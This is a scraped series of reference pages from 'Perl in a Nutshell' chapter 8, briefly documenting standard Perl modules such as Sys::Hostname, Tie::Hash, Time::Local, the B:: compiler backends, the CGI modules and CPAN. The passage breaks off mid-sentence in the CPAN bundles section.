Provides one function, hostname, which attempts to get the system hostname by doing checks appropriate to the operating system. Removes nulls, returns, and newlines from the result, which it then caches. croaks on failure.

use Sys::Hostname;
$host = hostname();

Previous: 8.135 Symbol | Perl in a Nutshell | Next: 8.137 Sys::Syslog
8.135 Symbol | Book Index | 8.137 Sys::Syslog


[Chapter 8] 8.137 Sys::Syslog

Perl in a Nutshell

Perl in a NutshellSearch this book

8.137 Sys::Syslog

Interfaces to Unix syslog(3) program. Requires the file syslog.ph, which must be created with h2ph by your system administrator. Provides the following four functions:

  • closelog
  • openlog
  • setlogmask
  • syslog

Previous: 8.136 Sys::Hostname | Perl in a Nutshell | Next: 8.138 Term::Cap
8.136 Sys::Hostname | Book Index | 8.138 Term::Cap


[Chapter 8] 8.138 Term::Cap

Perl in a Nutshell

Perl in a NutshellSearch this book

8.138 Term::Cap

Provides low-level functions to extract and use capabilities from a terminal capability (termcap) database. For general information about the use of this database, see the termcap(5) manpage. Provides the following functions:

  • Tgetent
  • Tgoto
  • Tpad
  • Tputs
  • Trequire

Previous: 8.137 Sys::Syslog | Perl in a Nutshell | Next: 8.139 Term::Complete
8.137 Sys::Syslog | Book Index | 8.139 Term::Complete


[Chapter 8] 8.139 Term::Complete

Perl in a Nutshell

Perl in a NutshellSearch this book

8.139 Term::Complete

Provides word completion on list of words in a specified array. Exports one function:

  • Complete

Previous: 8.138 Term::Cap | Perl in a Nutshell | Next: 8.140 Term::ReadLine
8.138 Term::Cap | Book Index | 8.140 Term::ReadLine


[Chapter 8] 8.14 B::Deparse

Perl in a Nutshell

Perl in a NutshellSearch this book

8.14 B::Deparse

Perl compiler backend that generates Perl source code from the internal compiled structure of a program. The output won't be exactly the same as the original program, but it will be close. Invoke as:

perl -MO=Deparse[,options] program
program is the name of the program to be deparsed. The options are comma-separated and follow normal backend option conventions. The possible options are:
-l

Adds #line declarations to the output based on line and file locations of the original code.

-p

Prints parentheses wherever they are legal, not just where they are required. Useful for seeing how Perl is parsing your expressions.

-sletters

Provides style options for the output. In this initial release, the only style option provided is C, which "cuddles" else, elsif, and continue blocks so that, for example, you would get:

} else {
instead of:
}
  else {
The default is to not cuddle.

-uPackage

Deparses subroutines in package Package as well as the main program, subroutines called by the main program, and subroutines in the main program. Multiple -u arguments can be given, separated by commas.

Previous: 8.13 B::Debug | Perl in a Nutshell | Next: 8.15 B::Disassembler
8.13 B::Debug | Book Index | 8.15 B::Disassembler


[Chapter 8] 8.140 Term::ReadLine

Perl in a Nutshell

Perl in a NutshellSearch this book

8.140 Term::ReadLine

Front-end to other ReadLine packages. Currently interfaces to Term-ReadLine, which is available on CPAN. Defines the variables $IN and $OUT, which return the filehandles for input and output, respectively, or undef if Readline input and output cannot be used for Perl. Provides the following methods:

  • new
  • addhistory
  • Features
  • findConsole
  • MinLine
  • ReadLine
  • readline

Previous: 8.139 Term::Complete | Perl in a Nutshell | Next: 8.141 Test
8.139 Term::Complete | Book Index | 8.141 Test


[Chapter 8] 8.141 Test

Perl in a Nutshell

Perl in a NutshellSearch this book

8.141 Test

Provides a framework for writing test scripts so you don't need to know the particular output that Test::Harness expects to see. Useful if you are writing modules and writing tests for those modules. Provides the following test types:

Normal

Tests that are expected to succeed.

Skip

Tests that need a platform-specific feature. They work like normal tests except that the first argument should evaluate to true if the required feature is not present.

Todo

Tests that are designed for maintaining an executable todo list; the tests aren't expected to succeed.

Test also provides an onfail hook that can trigger additional diagnostics for failures at the end of the test run. To use onfail, pass it an array reference of hash references where each hash contains at least these fields: package, repetition, and result, as well as any expected value or diagnostic string.

See the Test manpage for details and examples.

Previous: 8.140 Term::ReadLine | Perl in a Nutshell | Next: 8.142 Test::Harness
8.140 Term::ReadLine | Book Index | 8.142 Test::Harness


[Chapter 8] 8.142 Test::Harness

Perl in a Nutshell

Perl in a NutshellSearch this book

8.142 Test::Harness

Used by MakeMaker; runs Perl test scripts and prints some statistics. You can use the Test module to write test scripts without knowing the exact output Test::Harness expects. Exports one function:

  • runtests

Previous: 8.141 Test | Perl in a Nutshell | Next: 8.143 Text::Abbrev
8.141 Test | Book Index | 8.143 Text::Abbrev


[Chapter 8] 8.143 Text::Abbrev

Perl in a Nutshell

Perl in a NutshellSearch this book

8.143 Text::Abbrev

Given a list of strings, creates a hash of unambiguous abbreviations. Exports one function:

  • abbrev

Previous: 8.142 Test::Harness | Perl in a Nutshell | Next: 8.144 Text::ParseWords
8.142 Test::Harness | Book Index | 8.144 Text::ParseWords


[Chapter 8] 8.144 Text::ParseWords

Perl in a Nutshell

Perl in a NutshellSearch this book

8.144 Text::ParseWords

Parses lines of text and returns an array of words. Provides three functions:

  • quotewords
  • old_shellwords
  • shellwords

Previous: 8.143 Text::Abbrev | Perl in a Nutshell | Next: 8.145 Text::Soundex
8.143 Text::Abbrev | Book Index | 8.145 Text::Soundex


[Chapter 8] 8.145 Text::Soundex

Perl in a Nutshell

Perl in a NutshellSearch this book

8.145 Text::Soundex

Implements the soundex algorithm, which hashes a word (in particular, a surname) into a compressed form that approximates the sound of the word when spoken by an English speaker.

use Text::Soundex;

$code = soundex $string;  # get soundex code for a string
@codes = soundex @list;   # get list of codes for list of strings
Returns the value of the variable $soundex_nocode if there is no soundex code representation for a string. $soundex_nocode is initially set to undef, but can be reset to another value, e.g.:
$soundex_nocode = 'Z000';

Previous: 8.144 Text::ParseWords | Perl in a Nutshell | Next: 8.146 Text::Tabs
8.144 Text::ParseWords | Book Index | 8.146 Text::Tabs


[Chapter 8] 8.146 Text::Tabs

Perl in a Nutshell

Perl in a NutshellSearch this book

8.146 Text::Tabs

Provides subroutines that expand tabs into spaces and compress ("unexpand") spaces into tabs. The appearance of the text is unchanged. Defines the tabstop variable, which defines the number of spaces equivalent to a tab. Default is 8. Exports the following functions:

  • expand
  • unexpand

Previous: 8.145 Text::Soundex | Perl in a Nutshell | Next: 8.147 Text::Wrap
8.145 Text::Soundex | Book Index | 8.147 Text::Wrap


[Chapter 8] 8.147 Text::Wrap

Perl in a Nutshell

Perl in a NutshellSearch this book

8.147 Text::Wrap

Wraps text into a paragraph. Defines the $columns variable, which specifies the output line length. Default is 76. Exported on request. Provides the following function:

  • wrap

Previous: 8.146 Text::Tabs | Perl in a Nutshell | Next: 8.148 Thread
8.146 Text::Tabs | Book Index | 8.148 Thread


[Chapter 8] 8.148 Thread

Perl in a Nutshell

Perl in a NutshellSearch this book

8.148 Thread

Provides Perl multithreading support. Distributed as a beta feature with Perl 5.005 and runs only on versions of Perl that were built with thread support. Has the following functions and methods:

  • new
  • async
  • cond_broadcast
  • cond_signal
  • cond_wait
  • eval
  • join
  • lock
  • list
  • self
  • tid

Previous: 8.147 Text::Wrap | Perl in a Nutshell | Next: 8.149 Thread::Queue
8.147 Text::Wrap | Book Index | 8.149 Thread::Queue


[Chapter 8] 8.149 Thread::Queue

Perl in a Nutshell

Perl in a NutshellSearch this book

8.149 Thread::Queue

Provides a thread-safe queue. Any number of threads can add elements to the end of the queue or remove elements from the head.

  • new
  • dequeue
  • dequeue_nb
  • enqueue
  • pending

Previous: 8.148 Thread | Perl in a Nutshell | Next: 8.150 Thread::Semaphore
8.148 Thread | Book Index | 8.150 Thread::Semaphore


[Chapter 8] 8.15 B::Disassembler

Perl in a Nutshell

Perl in a NutshellSearch this book

8.15 B::Disassembler

Disassembles Perl bytecode.

Previous: 8.14 B::Deparse | Perl in a Nutshell | Next: 8.16 B::Lint
8.14 B::Deparse | Book Index | 8.16 B::Lint


[Chapter 8] 8.150 Thread::Semaphore

Perl in a Nutshell

Perl in a NutshellSearch this book

8.150 Thread::Semaphore

Provides a mechanism to regulate access to resources. Semaphores are more general than locks because they aren't tied to a particular scalar. They can have values other than zero or one, and they can be incremented or decremented by some specified number.

  • new
  • down
  • up

Previous: 8.149 Thread::Queue | Perl in a Nutshell | Next: 8.151 Thread::Signal
8.149 Thread::Queue | Book Index | 8.151 Thread::Signal


[Chapter 8] 8.151 Thread::Signal

Perl in a Nutshell

Perl in a NutshellSearch this book

8.151 Thread::Signal

Starts a special signal handler thread to reliably run signal handlers. All signals are handed to this thread, which runs the associated $SIG{signal} handlers for them.

use Thread::Signal;

$SIG{HUP} = handler;

Previous: 8.150 Thread::Semaphore | Perl in a Nutshell | Next: 8.152 Thread::Specific
8.150 Thread::Semaphore | Book Index | 8.152 Thread::Specific


[Chapter 8] 8.152 Thread::Specific

Perl in a Nutshell

Perl in a NutshellSearch this book

8.152 Thread::Specific

Provides thread-specific keys.

  • key_create

Previous: 8.151 Thread::Signal | Perl in a Nutshell | Next: 8.153 Tie::Array, Tie::StdArray
8.151 Thread::Signal | Book Index | 8.153 Tie::Array, Tie::StdArray


[Chapter 8] 8.153 Tie::Array, Tie::StdArray

Perl in a Nutshell

Perl in a NutshellSearch this book

8.153 Tie::Array, Tie::StdArray

Provides methods for array-tying classes. See the perltie manpage for the functions needed for tying an array to a package. The basic Tie::Array package provides stub DELETE and EXTEND methods, and it implements PUSH, POP, SHIFT, UNSHIFT, SPLICE, and CLEAR in terms of basic FETCH, STORE, FETCHSIZE, and STORESIZE.

Tie::StdArray inherits from Tie::Array and provides the methods needed for tied arrays that are implemented as blessed references to an "inner" Perl array. It causes tied arrays to behave like standard arrays, allowing for selective method overloading.

See the perltie manpage for more detailed information and for examples. To write your own tied arrays, use the following required methods:

  • TIEARRAY
  • CLEAR
  • DESTROY
  • EXTEND
  • FETCH
  • FETCHSIZE
  • POP
  • PUSH
  • SHIFT
  • SPLICE
  • STORE
  • STORESIZE
  • UNSHIFT

Previous: 8.152 Thread::Specific | Perl in a Nutshell | Next: 8.154 Tie::Handle
8.152 Thread::Specific | Book Index | 8.154 Tie::Handle


[Chapter 8] 8.154 Tie::Handle

Perl in a Nutshell

Perl in a NutshellSearch this book

8.154 Tie::Handle

Provides skeletal methods for handle-tying classes. Tie::Handle provides a new method as backup in case a class has no TIEHANDLE method. See the perltie manpage for more detailed information and for examples. To write your own tied-handle classes, use the following methods:

  • TIEHANDLE
  • DESTROY
  • GETC
  • PRINT
  • PRINTF
  • READ
  • READLINE
  • WRITE

Previous: 8.153 Tie::Array, Tie::StdArray | Perl in a Nutshell | Next: 8.155 Tie::Hash, Tie::StdHash
8.153 Tie::Array, Tie::StdArray | Book Index | 8.155 Tie::Hash, Tie::StdHash


[Chapter 8] 8.155 Tie::Hash, Tie::StdHash

Perl in a Nutshell

Perl in a NutshellSearch this book

8.155 Tie::Hash, Tie::StdHash

Provides skeletal methods for hash-tying classes. Tie::Hash provides a new method, as well as the methods TIEHASH, EXISTS, and CLEAR. The Tie::StdHash package inherits from Tie::Hash and causes tied hashes to behave like standard hashes, allowing for selective method overloading. It provides most methods required for hashes. The new method is provided as backup in case a class has no TIEHASH method.

To write your own tied hashes, the methods listed here are required. See the perltie manpage for more detailed information and for examples.

  • TIEHASH
  • CLEAR
  • DELETE
  • EXISTS
  • FETCH
  • FIRSTKEY
  • NEXTKEY
  • STORE

Previous: 8.154 Tie::Handle | Perl in a Nutshell | Next: 8.156 Tie::RefHash
8.154 Tie::Handle | Book Index | 8.156 Tie::RefHash


[Chapter 8] 8.156 Tie::RefHash

Perl in a Nutshell

Perl in a NutshellSearch this book

8.156 Tie::RefHash

Provides the ability to use references as hash keys after you've tied a hash variable to the module:

use Tie::RefHash;

tie hashvariable, 'Tie::RefHash', list;
untie hashvariable;
Uses the TIEHASH interface and provides the same methods.

Previous: 8.155 Tie::Hash, Tie::StdHash | Perl in a Nutshell | Next: 8.157 Tie::Scalar, Tie::StdScalar
8.155 Tie::Hash, Tie::StdHash | Book Index | 8.157 Tie::Scalar, Tie::StdScalar


[Chapter 8] 8.157 Tie::Scalar, Tie::StdScalar

Perl in a Nutshell

Perl in a NutshellSearch this book

8.157 Tie::Scalar, Tie::StdScalar

Provides some skeletal methods for scalar-tying classes. The basic Tie::Scalar package provides a new method, as well as methods TIESCALAR, FETCH, and STORE. The Tie::StdScalar package inherits from Tie::Scalar and causes scalars tied to it to behave like the built-in scalars, allowing for selective overloading of methods. The new method is provided as backup in case a class has no TIESCALAR method.

To write your own tied hashes, the methods listed here are required. See the perltie manpage for more detailed information and for examples.

  • TIESCALAR
  • DESTROY
  • FETCH
  • STORE

Previous: 8.156 Tie::RefHash | Perl in a Nutshell | Next: 8.158 Tie::SubstrHash
8.156 Tie::RefHash | Book Index | 8.158 Tie::SubstrHash


[Chapter 8] 8.158 Tie::SubstrHash

Perl in a Nutshell

Perl in a NutshellSearch this book

8.158 Tie::SubstrHash

Provides a hash-table-like interface to a fixed-sized array that has a constant key size and record size.

require Tie::SubstrHash;
tie %myhash, "Tie::SubstrHash", key_len, value_len, table_size;
To tie a new hash to this package, specify the following:

key_len

Length of each key

value_len

Length of each value

table_size

Size of the table given as the number of key/value pairs

An attempt to store a key/value pair where either the key or the value is the wrong length, or where the resulting table would be greater than table_size, results in a fatal error.

Previous: 8.157 Tie::Scalar, Tie::StdScalar | Perl in a Nutshell | Next: 8.159 Time::gmtime
8.157 Tie::Scalar, Tie::StdScalar | Book Index | 8.159 Time::gmtime


[Chapter 8] 8.159 Time::gmtime

Perl in a Nutshell

Perl in a NutshellSearch this book

8.159 Time::gmtime

Replaces Perl's core gmtime function with a version that returns Time::tm objects. Exports two functions:

  • gmtime
  • gmctime

Previous: 8.158 Tie::SubstrHash | Perl in a Nutshell | Next: 8.160 Time::Local
8.158 Tie::SubstrHash | Book Index | 8.160 Time::Local


[Chapter 8] 8.16 B::Lint

Perl in a Nutshell

Perl in a NutshellSearch this book

8.16 B::Lint

Provides program checking for Perl programs, equivalent to running Perl with the -w option. Named after the Unix lint program for checking C programs. Invoked as:

perl -MO=Lint[,options] program
program is the name of the Perl program to be checked. The options are separated by commas and follow normal backend option conventions. Most of the options are lint-check options, where each option is a word specifying one lint check. Preceding an option with no- turns off that option. Options specified later override earlier options. There is also one non-lint-check option, -u. Here is the list of available options:

all

Turns all warnings on.

context

Warns whenever an array is used in implicit scalar context.

dollar-underscore

Warns whenever $_ is explicitly used anywhere or whenever it is used as the implicit argument of a print statement.

implicit-read

Warns whenever an operation implicitly reads a Perl special variable.

implicit-write

Warns whenever an operation implicitly writes to a Perl special variable.

none

Turns off all warnings.

private-names

Warns whenever any variable, subroutine, or method name lives in a non-current package but begins with an underscore (_); doesn't warn about an underscore as a single-character name, e.g., $_.

regexp-variables

Warns whenever one of the regular-expression variables $', $&, or $` is used.

-u Package

Normally checks only the main program code and all subroutines defined in package main; -u lets you specify other packages to be checked.

undefined-subs

Warns whenever an undefined subroutine is invoked.

Previous: 8.15 B::Disassembler | Perl in a Nutshell | Next: 8.17 B::Showlex
8.15 B::Disassembler | Book Index | 8.17 B::Showlex


[Chapter 8] 8.160 Time::Local

Perl in a Nutshell

Perl in a NutshellSearch this book

8.160 Time::Local

Provides routines that take the time and return the number of seconds elapsed between January 1, 1970 and the specified time. The arguments are defined like the corresponding arguments returned by Perl's gmtime and localtime functions and the results agree with the results of those functions. Exports two functions; both return -1 if the integer limit is hit. On most machines this applies to dates after January 1, 2038.

  • timegm
  • timelocal

Previous: 8.159 Time::gmtime | Perl in a Nutshell | Next: 8.161 Time::localtime
8.159 Time::gmtime | Book Index | 8.161 Time::localtime


[Chapter 8] 8.161 Time::localtime

Perl in a Nutshell

Perl in a NutshellSearch this book

8.161 Time::localtime

Replaces Perl's core localtime function with a version that returns Time::tm objects. Exports two functions:

  • localtime
  • ctime

Previous: 8.160 Time::Local | Perl in a Nutshell | Next: 8.162 Time::tm
8.160 Time::Local | Book Index | 8.162 Time::tm


[Chapter 8] 8.162 Time::tm

Perl in a Nutshell

Perl in a NutshellSearch this book

8.162 Time::tm

Used internally by Time::localtime and Time::gmtime. Don't use it directly. Creates addressable Time::tm struct object.

Previous: 8.161 Time::localtime | Perl in a Nutshell | Next: 8.163 UNIVERSAL
8.161 Time::localtime | Book Index | 8.163 UNIVERSAL


[Chapter 8] 8.163 UNIVERSAL

Perl in a Nutshell

Perl in a NutshellSearch this book

8.163 UNIVERSAL

Base class; all blessed references inherit from it.

$sub = $obj->can('print');

$yes = UNIVERSAL::isa($ref, "HASH");
Provides the following methods:

  • can
  • isa
  • VERSION

Previous: 8.162 Time::tm | Perl in a Nutshell | Next: 8.164 User::grent
8.162 Time::tm | Book Index | 8.164 User::grent


[Chapter 8] 8.164 User::grent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.164 User::grent

Overrides core getgrent, getgruid, and getgrnam functions with versions that return User::grent objects. The object returned has methods with the same names as the structure fields they return. That is, to return the field name, use the name method:

use User::grent;
$gr = getgrgid(0) or die "No group zero";
if ( $gr->name eq 'wheel' && @{$gr->members} > 1 ) {
    print "gid zero name wheel, with other members";
}
The field names (and therefore the method names) are the same as the names of the fields in the group structure from the C file grp.h: name, passwd, gid, and members (not mem). The first three return scalars, the last an array reference. You can access the fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and prepending gr_ to the method name (for example, gr_name).

Exports four functions:

  • getgr
  • getgrent
  • getgrgid
  • getgrnam

Previous: 8.163 UNIVERSAL | Perl in a Nutshell | Next: 8.165 User::pwent
8.163 UNIVERSAL | Book Index | 8.165 User::pwent


[Chapter 8] 8.165 User::pwent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.165 User::pwent

Overrides core getpwent, getpwuid, and getpwnam functions with versions that return User::pwent objects. The object returned has methods with the same names as the structure fields they return. That is, to return the field name, use the name method:

use User::pwent;
$pw = getpwnam('daemon') or die "No daemon user";
if ( $pw->uid == 1 && $pw->dir =~ m#^/(bin|tmp)?$# ) {
    print "gid 1 on root dir";
}
The field names (and therefore the method names) are the same as the names of the fields in the passwd structure from the C file pwd.h: name, passwd, uid, gid, quota, comment, gecos, dir, and shell. You can access the fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and prepending pw_ to the method name (for example, pw_name).

Exports four functions:

  • getpw
  • getpwent
  • getpwnam
  • getpwuid

Previous: 8.164 User::grent | Perl in a Nutshell | Next: 8.166 vars
8.164 User::grent | Book Index | 8.166 vars


[Chapter 8] 8.166 vars

Perl in a Nutshell

Perl in a NutshellSearch this book

8.166 vars

Pragma that, given a list of variable names, predeclares all variables in the list, making sure they are available to routines whose loading is delayed (e.g., routines that are loaded by the AutoLoader or SelfLoader). This allows you to use the variables under use strict. The vars pragma also disables warnings about typographical errors.

use vars qw($var1 @var2 %var3);

Previous: 8.165 User::pwent | Perl in a Nutshell | Next: 8.167 vmsish
8.165 User::pwent | Book Index | 8.167 vmsish


[Chapter 8] 8.167 vmsish

Perl in a Nutshell

Perl in a NutshellSearch this book

8.167 vmsish

Pragma that currently supports three VMS-specific language features:

status

Makes $? and system return VMS status values instead of emulating POSIX.

exit

Makes exit take a VMS status value instead of assuming that exit 1 is an error.

time

Makes all times relative to the local time zone.

Previous: 8.166 vars | Perl in a Nutshell | Next: IV. CGI
8.166 vars | Book Index | IV. CGI


[Chapter 8] 8.17 B::Showlex

Perl in a Nutshell

Perl in a NutshellSearch this book

8.17 B::Showlex

Shows lexical variables used in functions or files. Invoke as:

perl -MO=Showlex[,sub] filename
If sub is provided and is the name of a subroutine in file filename, B::Showlex prints the lexical variables used in that subroutine. Otherwise, it prints the file-scope lexicals in filename.

Previous: 8.16 B::Lint | Perl in a Nutshell | Next: 8.18 B::Stackobj
8.16 B::Lint | Book Index | 8.18 B::Stackobj


[Chapter 8] 8.18 B::Stackobj

Perl in a Nutshell

Perl in a NutshellSearch this book

8.18 B::Stackobj

Serves as a helper module for the CC backend.

Previous: 8.17 B::Showlex | Perl in a Nutshell | Next: 8.19 B::Terse
8.17 B::Showlex | Book Index | 8.19 B::Terse


[Chapter 8] 8.19 B::Terse

Perl in a Nutshell

Perl in a NutshellSearch this book

8.19 B::Terse

Walks the Perl syntax tree, printing terse information about the ops. Invoke as:

perl -MO=Terse[,exec] filename
If exec is specified, walks the tree in execution order instead of syntax order.

Previous: 8.18 B::Stackobj | Perl in a Nutshell | Next: 8.20 B::Xref
8.18 B::Stackobj | Book Index | 8.20 B::Xref


[Chapter 8] 8.20 B::Xref

Perl in a Nutshell

Perl in a NutshellSearch this book

8.20 B::Xref

Perl compiler backend that generates a cross-reference listing of variables, subroutines, and formats in a Perl program. Results are grouped by file, then subroutine, then package, then objects within the package with line numbers. The line numbers are given as a comma-separated list. A line number may be preceded by one of the following code letters:

Code | Meaning
% | Subroutine or method call
f | Format definition
i | Introduction, e.g., a lexical defined with my
s | Subroutine definition

Invoke B::Xref like this:

perl -MO=Xref[,options] program
program is the Perl program whose cross-reference you want. Options are separated by commas and follow normal backend option conventions. The possible options are:

-D

Specifies internal debug options. Most useful if specified with -r option. Debug options are:

O

Prints each operator as it's being processed, in the execution order of the program.

t

Prints the object on the top of the stack as it is being tracked.

-ofilename

Sends output to filename instead of STDOUT.

-r

Produces raw output in machine-readable form for each definition or use of a variable, subroutine, or format.

Previous: 8.19 B::Terse | Perl in a Nutshell | Next: 8.21 base
8.19 B::Terse | Book Index | 8.21 base


[Chapter 8] 8.21 base

Perl in a Nutshell

Perl in a NutshellSearch this book

8.21 base

Provides a shortcut for setting up @ISA. You can say:

use base qw(A B);
instead of:
BEGIN {
    require Foo;
    require Bar;
    push @ISA, qw(Foo Bar);
}

Previous: 8.20 B::Xref | Perl in a Nutshell | Next: 8.22 Benchmark
8.20 B::Xref | Book Index | 8.22 Benchmark


[Chapter 8] 8.22 Benchmark

Perl in a Nutshell

Perl in a NutshellSearch this book

8.22 Benchmark

Provides routines for timing the execution of your code and formatting the results. Inherits only from the Exporter class. Its functions are:

  • new
  • clearallcache
  • clearcache
  • debug
  • disablecache
  • enablecache
  • timediff
  • timeit
  • timestr
  • timethese
  • timethis

Previous: 8.21 base | Perl in a Nutshell | Next: 8.23 blib
8.21 base | Book Index | 8.23 blib


[Chapter 8] 8.23 blib

Perl in a Nutshell

Perl in a NutshellSearch this book

8.23 blib

Pragma for testing programs against a package before the package has been installed. Given a directory path, blib starts in that directory to look for a blib directory structure; if it doesn't find one there, it works its way back up five levels. If no path is specified, it starts looking in the current directory.

blib is meant to be used from the command line:

perl -Mblib script [args...]
perl -Mblib=dir script [args...]
However, you can also call it from a Perl program:
use blib;
use blib 'dir';

Previous: 8.22 Benchmark | Perl in a Nutshell | Next: 8.24 Carp
8.22 Benchmark | Book Index | 8.24 Carp


[Chapter 8] 8.24 Carp

Perl in a Nutshell

Perl in a NutshellSearch this book

8.24 Carp

Provides routines for generating error messages. Its subroutines generally report errors from the perspective of the calling program. Its functions are:

  • carp
  • cluck
  • confess
  • croak

Previous: 8.23 blib | Perl in a Nutshell | Next: 8.25 CGI
8.23 blib | Book Index | 8.25 CGI


[Chapter 8] 8.25 CGI

Perl in a Nutshell

Perl in a NutshellSearch this book

8.25 CGI

The CGI (Common Gateway Interface) library permits object-oriented web form creation and processing. The CGI.pm module contains the bulk of functionality for CGI programming. Four subclasses provide interfaces to various server environments and additional features. They are described below. For complete information on how CGI works and a description of CGI.pm see Chapter 9, CGI Overview, and Chapter 10, The CGI.pm Module.

Previous: 8.24 Carp | Perl in a Nutshell | Next: 8.26 CGI::Apache
8.24 Carp | Book Index | 8.26 CGI::Apache


[Chapter 8] 8.26 CGI::Apache

Perl in a Nutshell

Perl in a NutshellSearch this book

8.26 CGI::Apache

Sets up the environment for using CGI.pm with the Perl-Apache API. The new constructor for this class creates an Apache::CGI class object that interfaces to the API.

Previous: 8.25 CGI | Perl in a Nutshell | Next: 8.27 CGI::Carp
8.25 CGI | Book Index | 8.27 CGI::Carp


[Chapter 8] 8.27 CGI::Carp

Perl in a Nutshell

Perl in a NutshellSearch this book

8.27 CGI::Carp

Creates Carp-like CGI routines for writing error messages to the HTTPD or other error log. Exports functions for warn, die, carp, confess, and croak. The functions write timestamped error messages to your server log or other output that you specify. See Section 8.24, "Carp" for details on the Carp functions.

Two other functions are provided by this module. Neither are automatically exported, so you must explicitly import them in use:

use CGI::Carp qw(carpout fatalsToBrowser);

  • carpout
  • fatalsToBrowser

Previous: 8.26 CGI::Apache | Perl in a Nutshell | Next: 8.28 CGI::Cookie
8.26 CGI::Apache | Book Index | 8.28 CGI::Cookie


[Chapter 8] 8.28 CGI::Cookie

Perl in a Nutshell

Perl in a NutshellSearch this book

8.28 CGI::Cookie

Provides an interface to Netscape (HTTP/1.1) cookies that can be used in conjunction with CGI.pm or independently. To use CGI::Cookie, you create a new cookie object with the constructor new. You can then send the cookie to the browser in one of the following ways:

  • From a CGI script, create a Set-Cookie field in the HTTP header for each cookie you want to send ($c is the cookie object):

    print "Set-Cookie: $c0";

  • With CGI.pm (see Chapter 10), use the header method with a -cookie argument:

    print header(-cookie=>$c);

  • Using mod_perl (see Chapter 11, Web Server Programming with mod_perl), use the request object's header_out method:

    $r->header_out('Set-Cookie',$c);

The following methods are provided for CGI::Cookie:

  • new
  • as_string
  • domain
  • expires
  • fetch
  • name
  • parse
  • path
  • raw_fetch
  • value

Previous: 8.27 CGI::Carp | Perl in a Nutshell | Next: 8.29 CGI::Fast
8.27 CGI::Carp | Book Index | 8.29 CGI::Fast


[Chapter 8] 8.29 CGI::Fast

Perl in a Nutshell

Perl in a NutshellSearch this book

8.29 CGI::Fast

CGI interface for FastCGI. FastCGI is a type of gateway for web servers that improves performance by loading scripts as persistently running processes. CGI::Fast provides a new constructor to create a CGI object that runs in this environment. FastCGI requires both a server and a version of Perl that are FastCGI enabled. See www.fastcgi.com for more information.

Previous: 8.28 CGI::Cookie | Perl in a Nutshell | Next: 8.30 CGI::Push
8.28 CGI::Cookie | Book Index | 8.30 CGI::Push


[Chapter 8] 8.30 CGI::Push

Perl in a Nutshell

Perl in a NutshellSearch this book

8.30 CGI::Push

Provides an interface to do server push operations, letting you rewrite pages whose content changes regularly. A server push operation automatically sends updates to a page on a push-capable browser. CGI::Push exports the function do_push to implement page redraws. This method can be used on a CGI::Push object or on its own:

$q = new CGI::Push;
$q->do_push(-next_page => \&sub);
 # or
do_push (-next_page => \&sub);
do_push requires one argument: a reference to a subroutine that will draw the next page. You may optionally specify a subroutine that draws the last page and the interval between page updates. Additional parameters to do_push are those that can be used with a CGI::headers object.

  • do_push

Previous: 8.29 CGI::Fast | Perl in a Nutshell | Next: 8.31 CGI::Switch
8.29 CGI::Fast | Book Index | 8.31 CGI::Switch


[Chapter 8] 8.31 CGI::Switch

Perl in a Nutshell

Perl in a NutshellSearch this book

8.31 CGI::Switch

Provides a new method that tries to call new in each of the Apache::CGI, CGI::XA, and CGI classes, returning the first CGI object that it successfully gets.

Previous: 8.30 CGI::Push | Perl in a Nutshell | Next: 8.32 Class::Struct
8.30 CGI::Push | Book Index | 8.32 Class::Struct


[Chapter 8] 8.32 Class::Struct

Perl in a Nutshell

Perl in a NutshellSearch this book

8.32 Class::Struct

Formerly named Class::Template; exports a single function, struct. struct takes a list of element names and types, and optionally a class name, and creates a Perl class that implements a "struct-like" data structure. It also creates a constructor method, new, for creating objects of the class (so a class created this way must not itself define a new method).

Each element in the struct data has an accessor method, which is used to assign to the element and to fetch its value. The default accessor can be overridden by declaring a sub of the same name in the package. Each element's type can be scalar, array, hash, or class.

  • struct

Previous: 8.31 CGI::Switch | Perl in a Nutshell | Next: 8.33 Config
8.31 CGI::Switch | Book Index | 8.33 Config


[Chapter 8] 8.33 Config

Perl in a Nutshell

Perl in a NutshellSearch this book

8.33 Config

Used to access configuration information. When Perl is built, the Configure script obtains and saves this information in a hash, %Config, in Config.pm itself. Config checks to be sure it's running with the same Perl version as the one that created the hash.

The index into the hash is the shell variable name. %Config is always exported; the following three functions are exported on request:

  • config_sh
  • config_vars
  • myconfig

Previous: 8.32 Class::Struct | Perl in a Nutshell | Next: 8.34 constant
8.32 Class::Struct | Book Index | 8.34 constant


[Chapter 8] 8.34 constant

Perl in a Nutshell

Perl in a NutshellSearch this book

8.34 constant

A Perl pragma that declares compile-time constants with a given scalar or list value. By default, the value is evaluated in list context, but you can override the default by specifying scalar.

use constant NAME1 => value1;
use constant NAME2 => scalar value2;

Previous: 8.33 Config | Perl in a Nutshell | Next: 8.35 CPAN
8.33 Config | Book Index | 8.35 CPAN


[Chapter 8] 8.35 CPAN

Perl in a Nutshell

Perl in a NutshellSearch this book

8.35 CPAN

Lets you access CPAN; search for a module, a bundle, an author, or a distribution; download a module or distribution; install it; and make it. The CPAN module can be used either interactively from the command line or programmatically:

perl -MCPAN -eshell;          #run from the command line
Or:
use CPAN;

my $obj = CPAN::Shell->install('ExtUtils::MakeMaker');
This section describes the use of the CPAN module from a program. See Chapter 2, Installing Perl, for information on using it interactively and for details of the available commands. These commands, available interactively from the shell, are methods of the class CPAN::Shell. From a program, they are available both as methods (e.g., CPAN::Shell->install(...)) and as functions in the calling package (e.g., install(...)).

Each of the commands that produce listings of modules (r, autobundle, and u) returns a list of the IDs of all modules within the list. The IDs of all objects available within a program are strings that can be expanded to the corresponding real objects with the CPAN::Shell->expand("Module",@things) method. expand returns a list of CPAN::Module objects according to the @things arguments. In scalar context, it returns only the first element of the list.

8.35.1 Session and Cache Managers

The CPAN module contains a session manager, which keeps track of objects that have been fetched, built, and installed in the current session. No status is retained between sessions.

There is also a cache manager, which keeps track of disk space used and deletes extra space. The cache manager keeps track of the build directory, $CPAN::Config->{build_dir}, and uses a simple FIFO mechanism to delete directories below build_dir when they grow bigger than $CPAN::Config->{build_cache}.

The original distribution files are kept in the directory $CPAN::Config->{keep_source_where}. This directory is not covered by the cache manager, but must be controlled by the user. If the same directory is used as both build_dir and keep_source_where, your sources are deleted with the same FIFO mechanism.

8.35.2 Bundles are

The CPAN module recognizes a bundle as a Perl module in the namespace Bundle:: that does not define any functions or methods and usually contains only pod documentation. It starts like a Perl module with a package declaration and a $VERSION variable. After that the pod section looks like any other pod with the difference that it contains a special section that begins with:

